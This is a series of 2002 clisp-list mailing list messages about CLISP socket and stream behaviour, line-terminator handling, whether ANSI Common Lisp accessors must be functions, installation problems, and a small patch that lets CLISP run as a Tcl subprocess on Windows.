> > It just seems right to me.
> > 
> > Of course, there may be implications that I don't see.  Turning the
> > question around, why wouldn't you want this?
> 
> because I don't know all the possible pitfalls.

That's fair enough.

> are you prepared to submit tested (at least on two platforms) patches
> and take responsibility (as in "fix bugs") for the code you write?
> if yes, your patches (against CVS) will be accepted.
> (we should probably move this discussion to <clisp-devel>.)

This particular feature isn't something that I'm dying for.  I'm just
trying to understand the psychology behind why you would or wouldn't
want it.  If I'm going to be writing code, I'd rather fix other things
first.  Currently, my biggest gripe is that buffered sockets are more
or less unusable for me, because they only work on 4K blocks, so for
things like HTTP you can't ever read all the waiting data unless the
other end has closed (or shutdown) their end of the connection.  I'd
rather that buffered sockets let you deal with the data you've got
waiting.  (Actually, I don't care so much about the buffering on the
input side, but you can't do buffering on output without doing it on
input, too.)

I haven't even gotten to UDP sockets, or unix domain sockets, yet,
which don't seem to be supported, currently.  Are they features you'd
want?  Do you know of good lispy interfaces for them?  Does clisp have
something analogous to unix's select(2) that lets you wait on multiple
streams until there's data/connections available?  (cmucl seems to
have serve-event for this.)


Todd


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Kaz Kylheku writes:
 > On Sun, 6 Jan 2002, William Harold Newman wrote:
 > 
 > > I was very surprised at this (that #'(SETF SYMBOL-FUNCTION) isn't
 > > conforming code).
 > 
 > I'd be surprised if anything other than #'function-name or
 > #'(lambda ... expression) is conforming code.

Maybe you should have looked in the spec before reacting in surprise :)

 >  At first I agreed with you anyway, but I've since
 > > concluded that it's a (natural) misreading of the spec. I'll explain...
 > > 
 > > I looked for quite a while without finding anything in the ANSI spec
 > > to contradict you. The page defining the symbol SYMBOL-FUNCTION says
 > > that SYMBOL-FUNCTION itself is an "accessor". 
 > 
 > That is completely irrelevant. The special operator called ``function''
 > receives its parameter unevaluated. So in the expression
 > 
 >     (function (setf ...))
 > 
 > the operator simply receives the list (setf ...).  The operator
 > understands only two things: a function name, or a lambda expression.
 > It will ``curry'' either of these into a funcall-able object.

No, the FUNCTION special operator takes a "function name" as its
argument.  From the glossary:

  function name n. 1. (in an environment) A symbol or a list (setf
  symbol) that is the name of a function in that environment. 2. A
  symbol or a list (setf symbol).

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Thomas F. Burdick writes:

 > No, the FUNCTION special operator takes a "function name" as its
 > argument.  From the glossary:

Er, I meant to say that FUNCTION takes either a lambda expression or a
"function name"

 >   function name n. 1. (in an environment) A symbol or a list (setf
 >   symbol) that is the name of a function in that environment. 2. A
 >   symbol or a list (setf symbol).

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> * In message <15416.50177.426282.473656@isis.cs3-inc.com>
> * On the subject of "Re: [clisp-list] bugs in (setf (stream-element-type x) ...)"
> * Sent on Sun, 6 Jan 2002 13:39:13 -0800
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
>
>  > That depends on what you mean by 'wrong'.  And whether anything can
>  > actually be considered 'right'.  I'm fairly new to doing sockets and
>  > streams in Common Lisp, and have been trying to figure out the way
>  > you're supposed to do stuff like this.  I haven't been able to figure
>  > it out, yet.  If you can explain it to me, I'd be grateful.

> For dealing with standard internet protocols I long ago gave up trying
> to use characters in clisp and moved to bytes.  At least for reading.

this is unfortunate.
what is the reason?
maybe we could patch CLISP to your tastes? :-)

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> * In message <m3vgefdv5w.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] bugs in (setf (stream-element-type x) ...)"
> * Sent on 06 Jan 2002 16:30:35 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> Sam Steingold <sds@gnu.org> writes:
> > no, they use non-blocking libc routines.
> 
> My point was that using peek_char in C will cause visible (incorrect)
> changes at the lisp level.  Assume the data contains CR <non-LF>.  Now
> if the user does (read-char stream), and then tries (unread-char CR),
> it would cause an error, because the C code did a peek_char
> (read,unread) during the read-char, so the last char read is not
> really CR, but the <non-LF>.  The C code would need to account for
> this case, and I don't see a straightforward way of doing it.

the C code is very involved.
CLISP has a lot of functionality for non-blocking i/o (see
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#listen>
and below).
study the code and you will see how CLISP avoids these issues.

> > > Also, this wouldn't handle the case where the next character will be a
> > > LF, but it's not available, yet.  This can happen in the buffered
> > > case, as well, and it's not even necessary to use
> > > (setf (stream-element-type ..)) to get incorrect results in that case.
> > > It seems that the buffered case needs to pay attention to ignore_next_LF,
> > > too.
> > > 
> > > There seem to be other implications with the way things currently
> > > stand, as well.  Say I want to write an HTTP proxy.  What I'd do is
> > > listen for a connection on a socket.  When I get one, do read-line
> > > until I get an empty line, process the request, send the results to my
> > > client and close the socket (stream).  If I do that but don't use a
> > > buffered stream, then I'll end up sending a TCP RST to my client
> > > because the last LF of his request will remain unread.  Ugh.
> > 
> > yes, this is an issue.
> > patch is welcome.
> > 
> 
> Again, I don't see a nice way of handling it.  I guess you could check
> for the LF just before closing, or doing a (setf (stream-element-type
> ....))  and eat it at that point.

I already told you how to handle this nicely:
now MAKE-ENCODING
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#make-encoding>
takes :LINE-TERMINATOR keyword argument.
If you make it take two separate arguments instead:
:INPUT-LINE-TERMINATOR (new) and :OUTPUT-LINE-TERMINATOR (renamed from
:LINE-TERMINATOR), and make all i/o functions respect this change, and
make :OUTPUT-LINE-TERMINATOR default to :UNIX (as it does now), and
make :INPUT-LINE-TERMINATOR default to T (the current behavior: accept
either :UNIX, :MAC or :DOS), but able to take any other of the 3
keyword values.


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> * In message <m3r8p3dtd9.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 06 Jan 2002 17:09:22 -0500
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>
> Sam Steingold <sds@gnu.org> writes:
> 
> Generally speaking, I want to be able to do everything with sockets
> that I can do in C, but in lisp.  Maybe this isn't the way to do it, I
> don't know.

I am not sure this is a valid desire.
sockets are very hairy and lisp favor clarity.

> Currently, my biggest gripe is that buffered sockets are more or less
> unusable for me, because they only work on 4K blocks, so for things
> like HTTP you can't ever read all the waiting data unless the other
> end has closed (or shutdown) their end of the connection.  I'd rather
> that buffered sockets let you deal with the data you've got waiting.
> (Actually, I don't care so much about the buffering on the input side,
> but you can't do buffering on output without doing it on input, too.)

you are on your own here.  sorry.

> I haven't even gotten to UDP sockets, or unix domain sockets, yet,
> which don't seem to be supported, currently.  Are they features you'd
> want?  Do you know of good lispy interfaces for them?

see "How to open a UNIX socket with clisp?" thread in this list (October
2001).  Since a unix socket is just a special file in the filesystem,
all we need to do is to make open_file aware of such an option (CLOSE
already is, I think). we even have the necessary code - see
connect_to_x_server() in socket.d.
The issue is, basically, that many systems lack the S_ISSOCK() macro.
It is a lot of tedious work to make sure that all systems that don't
have it will work correctly with our S_ISSOCK() macro (otherwise we will
have to support socket opening only on systems which do have such a
macro...)

> Does clisp have something analogous to unix's select(2) that lets you
> wait on multiple streams until there's data/connections available?

see SOCKET-STATUS
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#so-status>

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> * In message <20020106211953.GA27584@balefire.localdomain>
> * On the subject of "Re: [clisp-list] problems bootstrapping SBCL with CLISP"
> * Sent on Sun, 6 Jan 2002 15:19:53 -0600
> * Honorable William Harold Newman <william.newman@airmail.net> writes:
>
> On Sun, Jan 06, 2002 at 03:15:14PM -0500, Sam Steingold wrote:
> > 
> > (SETF SYMBOL-FUNCTION) is a macro, not a function in CLISP.
> > I don't think that ANSI requires it to be a function.
> 
> > wrt (FUNCTION macro) ANSI says:
> > 
> > | It is an error to use function on a function name that does not denote
> > | a function in the lexical environment in which the function form
> > | appears. Specifically, it is an error to use function on a symbol that
> > | denotes a macro or special form . An implementation may choose not to
> > | signal this error for performance reasons, but implementations are
> > | forbidden from defining the failure to signal an error as a useful
> > | behavior.
> 
> I was very surprised at this (that #'(SETF SYMBOL-FUNCTION) isn't
> conforming code). At first I agreed with you anyway, but I've since
> concluded that it's a (natural) misreading of the spec. I'll explain...
> 
>     Accessor 
>       This is an accessor function. 
>     [etc.]
> So: I think when you see "accessor" at the head of an entry in the
> symbols dictionary, it is to be interpreted as "accessor function".
> (And yes, this *does* seem like a remarkably indirect and confusing
> way to specify the function-not-macro-ness of things like CAR.)

I would greatly appreciate it if you asked this on comp.lang.lisp.
#'(setf car) is the same as rplaca, so there is no problem there, but
with other macros, it _IS_ an issue.

You are basically telling me that for each macro I must provide a
function definition which would work the same way as the macro does.

I don't think this is a valid requirement.

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Sam Steingold writes:
 > > For dealing with standard internet protocols I long ago gave up trying
 > > to use characters in clisp and moved to bytes.  At least for reading.
 > 
 > this is unfortunate.
 > what is the reason?
 > maybe we could patch CLISP to your tastes? :-)

I don't know whether it's unfortunate.  

As I recall, there were two reasons.  One was the end of line issue
and the other was errors with character sets that had no character
defined for the bytes that came in.  Notice that when you write a 
server you don't have a lot of control over the bytes that others
send you.

I recall being told, (just as you said recently on this list), that if
you want to deal with CR and LF as different things then you're
working at too low a level for characters.  I suppose it's possible
that enough stuff has been added over the last few years that I could
now do all I want with characters, but I recall that I did waste (in
retrospect) a lot of time trying and failing.

My original code using characters did work in Allegro CL, but I think
that's because the default "character" set there was actually no
different from bytes, i.e., there were 256 of them, each represented
by a different 8 bit byte.  Perhaps clisp has such a character set,
but it was at least not the default when I was trying to write this
code.  In fact I recall trying different character sets.

Perhaps others who have written such software can confirm or refute
my impression that both the problem and solution were widespread.


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On Sun, Jan 06, 2002 at 08:42:51PM -0500, Sam Steingold wrote:
> > * In message <20020106211953.GA27584@balefire.localdomain>
> > * On the subject of "Re: [clisp-list] problems bootstrapping SBCL with CLISP"
> > * Sent on Sun, 6 Jan 2002 15:19:53 -0600
> > * Honorable William Harold Newman <william.newman@airmail.net> writes:
[...]
> > I was very surprised at this (that #'(SETF SYMBOL-FUNCTION) isn't
> > conforming code). At first I agreed with you anyway, but I've since
> > concluded that it's a (natural) misreading of the spec. I'll explain...
> > 
> >     Accessor 
> >       This is an accessor function. 
> >     [etc.]
> > So: I think when you see "accessor" at the head of an entry in the
> > symbols dictionary, it is to be interpreted as "accessor function".
> > (And yes, this *does* seem like a remarkably indirect and confusing
> > way to specify the function-not-macro-ness of things like CAR.)
> 
> I would greatly appreciate it if you asked this on comp.lang.lisp.
> #'(setf car) is the same as rplaca, so there is no problem there, but
> with other macros, it _IS_ an issue.
> 
> You are basically telling me that for each macro I must provide a
                                    ^^^^^^^^^^^^^^
> function definition which would work the same way as the macro does.

Well, no, not for DEFMACRO, DEFINE-SETF-EXPANDER, LOOP, and so forth.
The symbols dictionary lists those as macros, not accessors, and 
so AFAIK the special meaning of "accessor" in the context of the symbol
dictionary has nothing to do with them.

What I do believe is that when something is labelled an "accessor" in
the symbols dictionary, it means "accessor function". If the HyperSpec
is as systematically organized as it looks, then all the relevant
operators should be in these sections:
  HyperSpec/Body/acc_aref.html
  HyperSpec/Body/acc_bitcm_sbit.html
  HyperSpec/Body/acc_carcm_cdr_darcm_cddddr.html
  HyperSpec/Body/acc_charcm_schar.html
  HyperSpec/Body/acc_compiler-_cro-function.html
  HyperSpec/Body/acc_elt.html
  HyperSpec/Body/acc_fdefinition.html
  HyperSpec/Body/acc_fill-pointer.html
  HyperSpec/Body/acc_find-class.html
  HyperSpec/Body/acc_firstcm_s_inthcm_tenth.html
  HyperSpec/Body/acc_get.html
  HyperSpec/Body/acc_getf.html
  HyperSpec/Body/acc_gethash.html
  HyperSpec/Body/acc_ldb.html
  HyperSpec/Body/acc_logical-p_translations.html
  HyperSpec/Body/acc_macro-function.html
  HyperSpec/Body/acc_mask-field.html
  HyperSpec/Body/acc_nth.html
  HyperSpec/Body/acc_readtable-case.html
  HyperSpec/Body/acc_rest.html
  HyperSpec/Body/acc_row-major-aref.html
  HyperSpec/Body/acc_subseq.html
  HyperSpec/Body/acc_svref.html
  HyperSpec/Body/acc_symbol-function.html
  HyperSpec/Body/acc_symbol-plist.html
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Thus portable code can count on AREF, SBIT, CHAR, LDB, REST,
SYMBOL-VALUE, and so forth being implemented as functions, not macros.

Note that the symbols in this category are more like CAR (where, as you
say, a functional form is obvious) than like LOOP (where a functional
form might be even more baroque than the macro).
 
> I don't think this is a valid requirement.

If you mean "requiring a function corresponding to LOOP is not valid",
then I agree with you. If you mean "requiring that the operators CAR
and SVREF and GETHASH (and for that matter (SETF CAR) and (SETF SVREF)
and (SETF GETHASH)) be implemented as functions is not valid", then I
disagree.

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Sam Steingold <sds@gnu.org> writes:
> > 
> > My point was that using peek_char in C will cause visible (incorrect)
> > changes at the lisp level.  Assume the data contains CR <non-LF>.  Now
> > if the user does (read-char stream), and then tries (unread-char CR),
> > it would cause an error, because the C code did a peek_char
> > (read,unread) during the read-char, so the last char read is not
> > really CR, but the <non-LF>.  The C code would need to account for
> > this case, and I don't see a straightforward way of doing it.
> 
> the C code is very involved.
> CLISP has a lot of functionality for non-blocking i/o (see
> <http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#listen>
> and below).
> study the code and you will see how CLISP avoids these issues.
> 

We seem to be talking past each other.  I'm not talking about how to
avoid hanging.  I'm saying that the strategy of peeking the next char
when encountering a CR will not work because it breaks unread-char,
not because it might hang.  Anyway, the
:INPUT-LINE-TERMINATOR approach would make this go away, too.

> > Again, I don't see a nice way of handling it.  I guess you could check
> > for the LF just before closing, or doing a (setf (stream-element-type
> > ....))  and eat it at that point.
> 
> I already told you how to handle this nicely:
> now MAKE-ENCODING
> <http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#make-encoding>
> takes :LINE-TERMINATOR keyword argument.
> If you make it take two separate arguments instead:
> :INPUT-LINE-TERMINATOR (new) and :OUTPUT-LINE-TERMINATOR (renamed from
> :LINE-TERMINATOR), and make all i/o functions respect this change, and
> make :OUTPUT-LINE-TERMINATOR default to :UNIX (as it does now), and
> make :INPUT-LINE-TERMINATOR default to T (the current behavior: accept
> either :UNIX, :MAC or :DOS), but able to take any other of the 3
> keyword values.
> 

Shouldn't it also still accept :LINE-TERMINATOR for a while to avoid
breaking existing code?

If I have time, I'll look at doing this.


Todd


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Sam Steingold <sds@gnu.org> writes:

> > * In message <m3r8p3dtd9.fsf@jetcar.qnz.org>
> > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> > * Sent on 06 Jan 2002 17:09:22 -0500
> > * Honorable Todd Sabin <tas@webspan.net> writes:
> >
> > Sam Steingold <sds@gnu.org> writes:
> > 
> > Generally speaking, I want to be able to do everything with sockets
> > that I can do in C, but in lisp.  Maybe this isn't the way to do it, I
> > don't know.
> 
> I am not sure this is a valid desire.
> sockets are very hairy and lisp favor clarity.
> 

I hardly know what to say to this, but I know I'm not alone in this
desire.  Quoting from the db-sockets page at
<URL:http://ww.telent.net/lisp/sockets.html>, "I wish to have the full
flexibility of the C interface available from a sensible language."
That's not "valid"?  I guess what your telling me is to go use cmucl
or sbcl.

> > Currently, my biggest gripe is that buffered sockets are more or less
> > unusable for me, because they only work on 4K blocks, so for things
> > like HTTP you can't ever read all the waiting data unless the other
> > end has closed (or shutdown) their end of the connection.  I'd rather
> > that buffered sockets let you deal with the data you've got waiting.
> > (Actually, I don't care so much about the buffering on the input side,
> > but you can't do buffering on output without doing it on input, too.)
> 
> you are on your own here.  sorry.
> 

On my own as in, I've got to figure it out, but you'd (maybe) accept
a patch if I do it?

or on my own as in, that's the way buffered sockets are supposed to
work and you're not changing it?

> > I haven't even gotten to UDP sockets, or unix domain sockets, yet,
> > which don't seem to be supported, currently.  Are they features you'd
> > want?  Do you know of good lispy interfaces for them?
> 
> see "How to open a UNIX socket with clisp?" thread in this list (October
> 2001).  Since a unix socket is just a special file in the filesystem,
> all we need to do is to make open_file aware of such an option (CLOSE
> already is, I think). we even have the necessary code - see
> connect_to_x_server() in socket.d.
> The issue is, basically, that many systems lack the S_ISSOCK() macro.
>[...]

Unix domain sockets are not just special files in the filesystem and
trying to treat them that way is the wrong approach, IMO.  Even if you
overcome the S_ISSOCK() issue, how are you going to know whether it's
a STREAM or DGRAM socket?  I guess you could just try both, but that's
rather kludgy.  And what about acting as a server with unix domain
sockets?  How would you accept connections from a file?

> > Does clisp have something analogous to unix's select(2) that lets you
> > wait on multiple streams until there's data/connections available?
> 
> see SOCKET-STATUS
> <http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#so-status>
> 

I saw that, but found the documentation confusing.  Particularly,

"Note that this function never waits for input or output to arrive,
only for information on input or output presense ... to become
available."

which makes it sound like the function will return once it can figure
out that there is no input or output data present anywhere.  I want to
block until data is available (or timeout).  Am I misunderstanding the
docs?

Also, is there a reason that it should only work with socket-streams?
Wouldn't it be a good thing for it to work on pipe-io-streams, too?
(Perhaps it already does, I haven't checked.)


Todd


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On Sun, Jan 06, 2002 at 08:42:51PM -0500, Sam Steingold wrote:
> > * Honorable William Harold Newman <william.newman@airmail.net> writes:
> > [ section 1.4.4.14 of the HyperSpec]
> >
> >     Accessor 
> >       This is an accessor function. 
> >     [etc.]
> > So: I think when you see "accessor" at the head of an entry in the
> > symbols dictionary, it is to be interpreted as "accessor function".
> > (And yes, this *does* seem like a remarkably indirect and confusing
> > way to specify the function-not-macro-ness of things like CAR.)
> 
> I would greatly appreciate it if you asked this on comp.lang.lisp.
> #'(setf car) is the same as rplaca, so there is no problem there, but
> with other macros, it _IS_ an issue.
> 
> You are basically telling me that for each macro I must provide a
> function definition which would work the same way as the macro does.
> 
> I don't think this is a valid requirement.

I think that what the standard requires is that symbols that are
labeled as accessors in the CLHS have functional definitions for both
SYMBOL and (SETF SYMBOL), that are returned by FUNCTION and
FDEFINITION, and may be called to have the relevant effect.

References:

<http://www.xanalys.com/software_tools/reference/HyperSpec/Body/acc_symbol-function.html>
<http://www.xanalys.com/software_tools/reference/HyperSpec/Body/sec_1-4-4-14.html>
<http://www.xanalys.com/software_tools/reference/HyperSpec/Body/glo_f.html#function>
<http://www.xanalys.com/software_tools/reference/HyperSpec/Body/glo_f.html#function_name>

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Hi!

Where can I find the latest clisp redhat rpm? 

I found several on rpmfind but I am not sure which one I should pick. 

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Hi!

Where can I find the latest clisp redhat (7.2) rpm?

I found several on rpmfind but I don't know which one I should pick. 

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> * In message <cdhepy86ta.fsf@sun18.aic.nrl.navy.mil>
> * On the subject of "[clisp-list] clisp redhat rpm"
> * Sent on 07 Jan 2002 11:27:45 -0500
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>
> Where can I find the latest clisp redhat rpm? 

I do not have a redhat system, but when I did, I created a clisp.spec
file (in the CVS now) and made RPMs.

If someone would make an RPM, I will gladly distribute it.

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> * In message <m3hepyefhk.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 07 Jan 2002 03:23:51 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> Sam Steingold <sds@gnu.org> writes:
> 
> > I am not sure this is a valid desire.
> > sockets are very hairy and lisp favor clarity.
> 
> I hardly know what to say to this, but I know I'm not alone in this
> desire.  Quoting from the db-sockets page at
> <URL:http://ww.telent.net/lisp/sockets.html>, "I wish to have the full
> flexibility of the C interface available from a sensible language."
> That's not "valid"?  I guess what your telling me is to go use cmucl
> or sbcl.

not at all.
what I am saying is that _I_ know too little about sockets (as you can
probably guess from my messages already) to support this.

If you are willing to take responsibility for CLISP socket code, you
will be more than welcome.

> > you are on your own here.  sorry.
> 
> On my own as in, I've got to figure it out, but you'd (maybe) accept
> a patch if I do it?

yep.  "maybe" depends on how clean the patch is, and, most of all, on
your commitment to supporting it (for the rest of your earthly existence
and beyond it :-)

> Unix domain sockets are not just special files in the filesystem and
> trying to treat them that way is the wrong approach, IMO.  Even if you
> overcome the S_ISSOCK() issue, how are you going to know whether it's
> a STREAM or DGRAM socket?  I guess you could just try both, but that's
> rather kludgy.  And what about acting as a server with unix domain
> sockets?  How would you accept connections from a file?

how would you like to do this?
maybe we should unify the internet sockets with the unix sockets.
like, SOCKET-CONNECT, when PORT is a string, will interpret it as a
unix socket path...

> > > Does clisp have something analogous to unix's select(2) that lets you
> > > wait on multiple streams until there's data/connections available?
> > 
> > see SOCKET-STATUS
> > <http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#so-status>
> > 
> 
> I saw that, but found the documentation confusing.  Particularly,
> 
> "Note that this function never waits for input or output to arrive,
> only for information on input or output presense ... to become
> available."
> 
> which makes it sound like the function will return once it can figure
> out that there is no input or output data present anywhere.  I want to
> block until data is available (or timeout).  Am I misunderstanding the
> docs?

note the &OPTIONAL [seconds [microseconds]] args.
if SECONDS is NIL, it will block indefinitely, otherwise, it will wait
for this much time.

> Also, is there a reason that it should only work with socket-streams?
> Wouldn't it be a good thing for it to work on pipe-io-streams, too?
> (Perhaps it already does, I haven't checked.)

please do check.  i believe it should work.  if it doesn't - send a
patch.

I am sorry if I sound like "do it yourself of f..k off" dork.
I _am_ overworked, and have a lot on my plate now (and I have a family,
and I am not paid for CLISP).
I also gladly accept patches.

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On Mon, Jan 07, 2002 at 08:05:13PM -0500, Sam Steingold wrote:
> The following message is a courtesy copy of an article
> that has been posted to comp.lang.lisp as well.
> 
> > * In message <sfw8zb9lm3y.fsf@shell01.TheWorld.com>
> > * On the subject of "Re: do `accessors' have to be functions?"
> > * Sent on Tue, 8 Jan 2002 00:31:13 GMT
> > * Honorable Kent M Pitman <pitman@world.std.com> writes:
> >
> > Sam Steingold <sds@gnu.org> writes:

> > > Specifically, is it true that
> > >         #'(SETF foo)
> > > is compliant code for all `foo' which ANSI CL calls accessors and
> > > for which is specifies a SETF behavior?
> > 
> > I don't think so.  I had thought this might be specified somewhere but
> > didn't see it when I just went to look.  I'll maybe try again later if
> > no one else finds anything in the interim.

[writing about my reasoning]
> this would imply that (SETF LDB) _must_ be a function too.

Ouch, I can see this is a problem, and my interpretation might be wrong.

I wrote more in my reply on comp.lang.lisp (which Google Groups warns
may take 3-9 hours to appear).

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Hello Everyone,

We have a small GUI built in Tcl/Tk under Windows-NT and would like to run
CLISP as a child process to perform some computation.  Currently, we use
this architecture to run a C++ executable (Win32 console app) as a child
process of Tcl.  The Tcl code looks something like this:

set interface_pipe [open "|program" r+]

Through 'interface_pipe', we can send input to 'program' stdin and get
output from 'program' stdout.  When we try this with CLISP 2.27, however,
the following error message appears:

*** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied.

Other clues: if we invoke CLISP via Tcl with '--help', we get the correct
and expected results.  If we start CLISP via Tcl in its own command window
by prepending  'cmd /c', CLISP starts up correctly, but we have no access
to its standard I/O.  Running CLISP from a DOS prompt or BASH shell and
redirecting its stdin and stdout works fine.  And, as I've said, we've
successfully connected via pipe to other programs as subprocesses of Tcl.

So there's some interaction between how Tcl handles pipes and subprocesses
and what CLISP is trying to do when it starts up.

Can anyone help?  Any suggestions or ideas will be greatly appreciated.

Thank you,
Daniel Ozick


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I downloaded tghe binary clisp-2.27 for win and ran the install.bat
   
lisp.exe -B . -M lispinit.mem -norc -C src/install.lisp

and got the error message
  [pathname.d:6610]
*** - Win32 error 2 <ERROR_FILE_NOT_FOUND: The system cannot
       find the file specified.

I have downloaded it several times with the same result.
I have put full pathnames for lisp, install, etc. but do not
need to since all is in the correct place. I do not know
what file it cannot find.
  Thanks,
     Gail


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> * In message <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com>
> * On the subject of "[clisp-list] Running CLISP as a Subprocess of Tcl"
> * Sent on Wed, 09 Jan 2002 16:59:09 -0500
> * Honorable Daniel Ozick <dozick@irobot.com> writes:
>
> We have a small GUI built in Tcl/Tk under Windows-NT and would like to run
> CLISP as a child process to perform some computation.  Currently, we use
> this architecture to run a C++ executable (Win32 console app) as a child
> process of Tcl.  The Tcl code looks something like this:
> 
> set interface_pipe [open "|program" r+]
> 
> Through 'interface_pipe', we can send input to 'program' stdin and get
> output from 'program' stdout.

I am not a Tcl expert, so could you please give me a sample session?
E.g.,

set a [open "|clisp" r+]
puts $a "(1+ 10)"
puts $a "(bye)"
get_all_output <---- how do I do this? "gets $a b; echo $b" is ugly!

how do I check whether input is available?

> When we try this with CLISP 2.27, however, the following error message
> appears:
> 
> *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied.

CLISP cannot open the console - no wonder, Tcl has it!

> Can anyone help?  Any suggestions or ideas will be greatly appreciated.

try the appended patch.  it will break WITH-KEYBOARD-INPUT, but you are
not using it anyway, right?

-- 
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Read, think and remember! <http://www.iris.org.il> <http://www.memri.org/>
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Index: stream.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/stream.d,v
retrieving revision 1.246
diff -u -w -b -u -b -w -i -B -r1.246 stream.d
--- stream.d	2002/01/07 21:41:36	1.246
+++ stream.d	2002/01/09 23:44:35
@@ -15185,7 +15185,7 @@
   # Initialize the *KEYBOARD-INPUT* stream. This can fail in some cases,
   # therefore we do it after the standard streams are in place, so that
   # the user will get a reasonable error message.
-  #if defined(UNIX) || defined(RISCOS)
+  #if 1 # defined(UNIX) || defined(RISCOS)
   # Building the keyboard stream is a costly operation. Delay it
   # until we really need it.
   define_variable(S(keyboard_input),NIL);     # *KEYBOARD-INPUT*



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> * In message <1010617509.3c3ccca57d2a0@jabber.maine.edu>
> * On the subject of "[clisp-list] on win2k cannot install binary"
> * Sent on Wed, 09 Jan 2002 18:05:09 -0500 (EST)
> * Honorable lange@maine.edu writes:
>
> I downloaded tghe binary clisp-2.27 for win and ran the install.bat
>    
> lisp.exe -B . -M lispinit.mem -norc -C src/install.lisp
> 
> and got the error message
>   [pathname.d:6610]
> *** - Win32 error 2 <ERROR_FILE_NOT_FOUND: The system cannot
>        find the file specified.
> 
> I have downloaded it several times with the same result.
> I have put full pathnames for lisp, install, etc. but do not
> need to since all is in the correct place. I do not know
> what file it cannot find.

you are using the hard-coded desktop location which is correct for
winnt but wrong for w2k.
this was fixed on 2001-08-16.
please use the CVS (<http://clisp.cons.org>) to get the current version
of install.lisp and try again.

note that all install.lisp does is set add some registry settings.
that's all.
you do _NOT_ have to use it to have a working CLISP installation.

thanks.

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Thank you, Sam Steingold!

At 06:45 PM 1/9/02 -0500, Sam Steingold wrote:
>> * In message <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com>
>> * On the subject of "[clisp-list] Running CLISP as a Subprocess of Tcl"
>> * Sent on Wed, 09 Jan 2002 16:59:09 -0500
>> * Honorable Daniel Ozick <dozick@irobot.com> writes:
>>
>> We have a small GUI built in Tcl/Tk under Windows-NT and would like to run
>> CLISP as a child process to perform some computation.  Currently, we use
>> this architecture to run a C++ executable (Win32 console app) as a child
>> process of Tcl.  The Tcl code looks something like this:
>> 
>> set interface_pipe [open "|program" r+]
>> 
>> Through 'interface_pipe', we can send input to 'program' stdin and get
>> output from 'program' stdout.
>
>I am not a Tcl expert, so could you please give me a sample session?
>E.g.,
>
>set a [open "|clisp" r+]
>puts $a "(1+ 10)"
>puts $a "(bye)"
>get_all_output <---- how do I do this? "gets $a b; echo $b" is ugly!

read $a

will return all the data from the channel up to end-of-file.


>how do I check whether input is available?

fblocked $a

will test whether the input has been exhausted on the channel.


eof $a

will test for end-of-file on the channel.


You can also set up file event handlers which fire when the channel is
readable or writeable.


>> When we try this with CLISP 2.27, however, the following error message
>> appears:
>> 
>> *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied.
>
>CLISP cannot open the console - no wonder, Tcl has it!
>
>> Can anyone help?  Any suggestions or ideas will be greatly appreciated.
>
>try the appended patch.  it will break WITH-KEYBOARD-INPUT, but you are
>not using it anyway, right?

<<
Index: stream.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/stream.d,v
retrieving revision 1.246
diff -u -w -b -u -b -w -i -B -r1.246 stream.d
--- stream.d	2002/01/07 21:41:36	1.246
+++ stream.d	2002/01/09 23:44:35
@@ -15185,7 +15185,7 @@
   # Initialize the *KEYBOARD-INPUT* stream. This can fail in some cases,
   # therefore we do it after the standard streams are in place, so that
   # the user will get a reasonable error message.
-  #if defined(UNIX) || defined(RISCOS)
+  #if 1 # defined(UNIX) || defined(RISCOS)
   # Building the keyboard stream is a costly operation. Delay it
   # until we really need it.
   define_variable(S(keyboard_input),NIL);     # *KEYBOARD-INPUT*
>>


Right, we are not using WITH-KEYBOARD-INPUT.  However, rebuilding CLISP is
beyond my current capabilities.  (I don't even have the full source.)  Is
there a simple way to apply the patch without doing a full build?  If not,
where do I start reading to learn how to do a build?  Depending on the
complexity of rebuilding and the tools necessary, I may decide to work
around the problem in some other way, since building CLISP is certainly a
major diversion from the task at hand.


Thanks again.


Daniel N. Ozick
Lead Software Engineer
iRobot Corporation
Twin City Office Center, Suite 6
22 McGrath Highway
Somerville, MA 02143

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> * In message <3.0.5.32.20020110110659.014a8e80@mail.int.isr.com>
> * On the subject of "Re: [clisp-list] Running CLISP as a Subprocess of Tcl"
> * Sent on Thu, 10 Jan 2002 11:06:59 -0500
> * Honorable Daniel Ozick <dozick@irobot.com> writes:
>
> Thank you, Sam Steingold!
welcome!

> >> When we try this with CLISP 2.27, however, the following error message
> >> appears:
> >> 
> >> *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied.
> >
> >CLISP cannot open the console - no wonder, Tcl has it!
> >
> >> Can anyone help?  Any suggestions or ideas will be greatly appreciated.
> >
> >try the appended patch.  it will break WITH-KEYBOARD-INPUT, but you are
> >not using it anyway, right?
> 
> <<
> Index: stream.d
> ===================================================================
> RCS file: /cvsroot/clisp/clisp/src/stream.d,v
